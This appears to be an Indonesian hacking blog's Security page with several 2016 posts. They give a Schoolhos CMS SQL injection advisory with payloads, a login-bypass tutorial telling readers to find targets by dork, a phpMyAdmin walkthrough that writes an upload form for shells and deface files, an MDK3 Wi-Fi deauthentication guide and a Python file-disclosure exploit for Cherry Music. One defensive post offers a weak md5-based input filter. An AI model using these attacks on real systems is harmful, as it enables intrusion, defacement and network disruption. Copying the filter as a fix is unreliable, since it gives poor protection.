Tampilkan postingan dengan label Security. Tampilkan semua postingan
Tampilkan postingan dengan label Security. Tampilkan semua postingan

Rabu, 09 November 2016

Schoolhos CMS 2.29 - 'kelas' Parameter SQL Injection

Schoolhos CMS 2.29 - 'kelas' Parameter SQL Injection


Holaaaaa, selamat malam kawan RZLabs. Pada malam hari ini saya akan berbagi sebuah info tentang exploit sebuah cms sekolah yaitu Schoolhos CMS 2.29 vulnerability teradapt SQL Injection, sperti apa exploitnya simak artike ini.
Info:
Doc Title: Schoolhos CMS v2.29 - SQL Injection Vulnerability
Exploit Type: SQL Injection Vulnerability
Exploitation Technique: Remote
Severity Level: High
Author: Vulnerability-Lab
Release Date: 2016-11-07
Vendor Homepage: Schoolhos
Lates CMS Download: CMS Schoolhos Download
Vuln CMS Download: Vulnerable App
Technical Detail and Description:
A remote sql injection web vulnerability has been discovered  in the official Schoolhos v2_29 content management system.
The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.
The sql injection vulnerability is located in the `kelas` parameter of the `index?p=siswakelas module POST method request.
Remote attackers are able to execute own sql commands by usage of an insecure post method request through the vulnerable
parameter of the own application. The attack vector of the vulnerability is application-side and the request method to
inject is POST. The security vulnerability in the content management system is a classic select remote sql-injection.
The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.7.
Exploitation of the remote sql injection vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] POST
Vulnerable Module(s):
[+] ./SCRIPTPATH/index.php?p=siswakelas
Vulnerable Parameter(s):
[+] kelas
Proof of Concept ( PoC ):
Remote sql-injection kerentanan web dapat dimanfaatkan oleh penyerang jarak jauh tanpa web-aplikasi akun pengguna istimewa dan tanpa interaksi pengguna.
Untuk demonstrasi keamanan atau untuk mereproduksi sql-injection kerentanan web mengikuti informasi yang diberikan dan langkah-langkah di bawah ini untuk melanjutkan.
 
PoC Session Logs:
[+] Place: POST > Parameter: kelas
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: kelas=1' AND 4945=4945 AND 'SfWY'='SfWY
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: kelas=-2062' UNION ALL SELECT NULL,CONCAT(0x71736b6271,0x43746d4846536767524d,0x716b6d6171),NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: kelas=1' AND SLEEP(5) AND 'Wqrd'='Wqrd
---
[21 tables]
+-----------------+
| sh_agenda       |
| sh_album        |
| sh_berita       |
| sh_buku_tamu    |
| sh_galeri       |
| sh_guru_staff   |
| sh_info_sekolah |
| sh_jabatan      |
| sh_kategori     |
| sh_kelas        |
| sh_komentar     |
| sh_mapel        |
| sh_materi       |
| sh_pengaturan   |
| sh_pengumuman   |
| sh_psb          |
| sh_sidebar      |
| sh_siswa        |
| sh_statistik    |
| sh_tema         |
| sh_users        |
+-----------------+
Solution - Fix and Patch:
 Kerentanan sql-injection di `parameter kelas` dari` permintaan metode file POST index.php`  dapat ditambal oleh penggunaan yang aman
Pernyataan siap. Mengurai parameter dan mengkodekan nilai-nilai ke format aman untuk mencegah lebih lanjut
serangan sql-injection. Melarikan diri parameter dan melarang penggunaan karakter khusus.
Credits and Authors:
Vulnerability Laboratory [Research Team] - Lawrence Amer (www.vulnerability-lab.com/show.php?user=Lawrence Amer)
Disclaimer and Information:
Domains: Vulnerability Lab - Vuln Lab - Evolution
Section: Magazine - Vuln lab Contact - Evolution Contact
Social: Twitter Vuln Lab - Facebook Vuln Lab
Feeds: Vuln Lab RSS - UP Coming - News
References [Source]:
Vuln Lab Artikel
Exploit DB
Sekian dari artikel yang saya tulis. Mohon maaf jika ada kekurangnnya ya kawan. Semoga bermanfaat ^_^. Jangan lupa like dan share post ini ya ^_^.
  
freebitcoin


Selasa, 01 November 2016

How To Bypass Admin or User Login


How To Bypass Admin or User Login


Yap, sesuai judul dari artikel ini. Admin mau berbagi sebuat tutorial " How To Bypass Admin or User Login ", walau tutorial ini sudah banyak di tulis di blog - blog lain maupun forum tetapi saya hanya ingin berbagi saja. oke langsung ajah

Pertama kita cari target dengan google dork. Use your brain Borther ^_^.

Jika sudah mendapatkan target mari kita exploit, coba dengan beberapa user dan password berikut untuk bypass atau inject target!
Username: 'or' '='
Password: 'or' '='
atau
Username:  ' or '1'='1'#
Password:   ' or '1'='1'#

Perhatikan screenshot berikut!



Yeahhh. dari screenshot di atas admin berhasil masuk ke dalam web tersebut. Sisa kawan bisa lanjutkan dan jangan lupa beritahu admin web tersebut untuk patch webnya ya ^_^
Baca Juga
Cara Fix Login Yang Bisa Di Bypass

Note: Tidak semua login form bisa di bypass, itu tergantung kesalahan developer web tersebut!

If you like this post and blog please shared it, we can still update!

freebitcoin


Senin, 31 Oktober 2016

Tutorial Upload Shell/File melalui phpMyAdmin Di Xampp

Tutorial Upload Shell/File melalui phpMyAdmin Di Xampp

Tutorial ini berasal dari blog lama ane CrystalNova IT. Let's Begin Read My Tutorial ^_^
Pertama cari targetnya, di sini saya localhost dengan link mrlover21.net
oke pertama
kita buka
http://mrlover21.net/phpmyadmin/querywindow.php
dan akan muncul seperti gambar di bawah ini :



Note : jika phpmyadmin di proteksi oleh password makan kita tidak bisa membobolnya

ok, next ke langkah selanjutnya
di sini saya punya 2 bentuk query 1 untuk linux dan 2 untuk windows
karena saya pakai windows maka
kita pakai query ke-2

Query 1 untuk linux :

use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<form enctype="multipart/form-data" action="upload.php" method="post"><pre lang="html">Upload file :<form enctype="multipart/form-data" action="upload.php" method="post"><input name="userfile" type="file" /><input type="submit" value="Upload" /></form>');
SELECT * INTO OUTFILE '/opt/lampp/htdocs/form.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;


Query 2 untuk windows :

use mysql;
DROP TABLE IF EXISTS `temptab1`;
CREATE TABLE temptab1 (codetab text);
INSERT INTO temptab1 (codetab) values ('<form enctype="multipart/form-data" action="upload99.php" method="post"><pre lang="html">Upload file :<form enctype="multipart/form-data" action="upload.php" method="post"><input name="userfile" type="file" /><input type="submit" value="Upload" /></form>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/form99.php' from temptab1;
DROP TABLE temptab1;
FLUSH LOGS;

lebih lengkap liat screenshot di bawah ini :



dan tekan go, jika berhasil maka akan muncul seperti gambar dibawah ini :



Note : code query yang kita masukan di atas itu berfungsi menjadi form uploadernya
sekarang coba kita panggil formnya
karena nama filenya form99.php
maka kita panggil http://mrlover21.net/form99.php
liat ssnya di bawah :



sekarang kita lanjut ke langkah selanjutnya, yaitu membuat confirm dai form uploader
sama seperti query untuk form uploadernya, di sini terdapat 2 query
kita pakai query untuk windows

Query 1 untuk linux :



use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<?php $uploaddir = "/opt/lampp/htdocs/";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);echo "<pre>";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "</pre>";?>');
SELECT * INTO OUTFILE '/opt/lampp/htdocs/upload.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

Query 2 untuk windows :


use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<?php $uploaddir = "C:/xampp/htdocs/";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);echo "<pre>";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "</pre>";?>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/upload99.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS


lebih jelas liat screenshot dibawah ini





jika sudah sekarang tinggal upload shellnya dengan cara pangill file form99.php
contoh : mrlover21.net/form99.php lalu browse file shellmu atau file defacemu ^_^
lalu tekan upload tara shell/file defacemu sudah ke upload
tinggal buka deh contoh
http://mrlover21.net/www.mrlover21.org.php



sekian! terima kasih ^_^
Jangan lupa berkunjung terus ya ^_^
Falcon-G21 Team Dark



freebitcoin




Kamis, 27 Oktober 2016

Kali Linux - MDK3 Tutorial

Disconneted Other Connection with MDK3 On Kali Linux

This Tutorial using Englis language and from my old blog
Lets Begin and See tutoria!

Note:  Be careful to use it if you do not want to face another issue!

Author : Aihara Anwaru
Team : Falcon-G21 Team Dark
Tested OS : Kali Linux 3.14-kali1 - amd64


First
Open Terminal
Type " airmon-ng "
Press Enter on keyboard
withoun > " <


 next
Type " airmon-ng start wlan0 "
Press Enter
withoun > " <


 next
Type " echo your mac adrees >> whitelist.txt "
Note : if you not know you mac address see used ifconfig

example : my mac address is => 48:d2:24:6f:69:ea
echo 48:d2:24:6f:69:ea >> whitelist.txt
file : whitelist.txt you can change name with other name do you like ^_^
if you finised add you mac address to white list
 

 next
Type mdk3 mon0 d -w whitelist.txt
Press Enter for start and you see other connection is disconnected ^_^





Thanks ^_^
Good Luck! Be careful to use it if you do not want to face another issue!

freebitcoin


Cara Fix Login Yang Bisa Di Bypass

Cara Fix Login Yang Bisa Di Bypass

  
Selamat malam kawan RZLab, pada malam hari ini saya mau berbagi tutorial " Cara Fix Login Yang Bisa Di Bypass "!

  Method yang di gunakan cukup sederhana, pada form login user biasa atau admin cukup   masukan code berikut:

 user : '=''or'
 pass : '=''or'

Dan coba login maka otomatis anda akan teralihkan ke halaman dashboard atau panel, tetapi tidak sebagian web yang bisa di bypass form loginnya alangkah baiknya jika anda seorang pemilik web perlu untuk meningkatkan keamanan web yang anda miliki.

Bagaimana caranya? yuk baca di bawah ini.

Pertama kawan membuat sebuah file baru dengan nama " function_antibypass.php ", jika sudah copy code berikut

<?php
function anti_bypass($data){
$filter=mysql_real_escape_string(stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES))));
return $filter;
}
?>
Penjelasan fungsi diatas:

mysql_real_escape_string =  fungsi mysql_real_escape_string yang digunakan untuk memberi backslash di beberapa kode untuk ditampilkan pada halaman, namun saat menyimpan menuju sql, kode akan tetap normal tanpa ada backslash

stripslashes =  fungsi string sltripslashes berfungsi sebagai menghilangkan backslashes (\) pada setiaap quote dalam string

strip_tags =  fungsi yang digunakan untuk menghilangkan tag-tag HTML, XML atau tag-tag PHP yang terdapat pada sebuah string.

htmlspecialchars = fungsi yang digunakan untuk meng-enkripsi tag-tag html pada suatu string. Htmlspecialchars tidak akan mengenkripsi semua string seperti Fungsi pengekripsian yang lain, melainkan hanya akan mengenkripsi karakter-karakter tertentu saja. Seperti (<, >, ", dan sebagainya).

Langkah selanjutnya memanggil fungsi yang sudah kita buat tadi, misalhnya kita taruh di login.php atau cek_login.php itu tergantung pemakaian kawan ajah.

Code:

<?php
include "[PATH]/function_antibypass.php"; // function yang kita buat tadi
include "[PATH]/config.php"; // untuk koneksi ke database

$username = anti_bypass($_POST['user']);
$password = anti_bypass(md5($_POST['pass']));

// sisanya soba bisa lanjutkan

?>
Jika sudah, kawan bisa menguji coba function diatas, semoga berhasil. Mohon maaf jika ada kesalahan kata ya kawa ^_^. Jangan lupa like Page kami di Re Zero Labs dan Bookmark Blog in ^_^.


freebitcoin


Selasa, 25 Oktober 2016

Cherry Music 0.35.1 - Arbitrary File Disclosure - Exploit

Cherry Music v0.35.1 directory traversal vulnerability allows authenticated users to download arbitrary files

Selamat sore kawan! kali ini admin akan berbagi sebuah artikel tentang exploit. Silahkan di simak ya.


Deskripsi author exploit:

# Date: 11-09-2016
# Exploit Author: feedersec
# Contact: feedersec@gmail.com
# Vendor Homepage: http://www.fomori.org/cherrymusic/index.html
# Version: 0.35.1
# Tested on: ubuntu 14.04 LTS
# CVE : CVE-2015-8309
Exploit yang digunakan yaitu Python

Proof of Concept:

import urllib2, cookielib, urllib

#set parameters here
username = 'admin'
password = 'Password01'
baseUrl = 'http://localhost:8080/'
targetFile = '/etc/passwd'
downloadFileName = 'result.zip'
####

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
params = urllib.urlencode({'username': username, 'password': password, 'login': 'login'})
req = urllib2.Request(baseUrl, params)
response = opener.open(req)
for c in cj:
  if c.name == "session_id":
    session_id = c.value

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders.append(('Cookie', 'session_id=' + session_id))
params = urllib.urlencode({'value': '["' + targetFile + '"]'})
request = urllib2.Request(baseUrl + "download", params)
response = opener.open(request).read()
with open(downloadFileName, 'wb') as zipFile:
    zipFile.write(response);

Sekian tutorial yang bisa saya bagikan. Mohon maaf jika ada kesalahan kata ^_^

Source: Exploit DB - Cherry Music 0.35.1 - LFD Exploit

Vulnerable App: Cherry Music 0.35.1

freebitcoin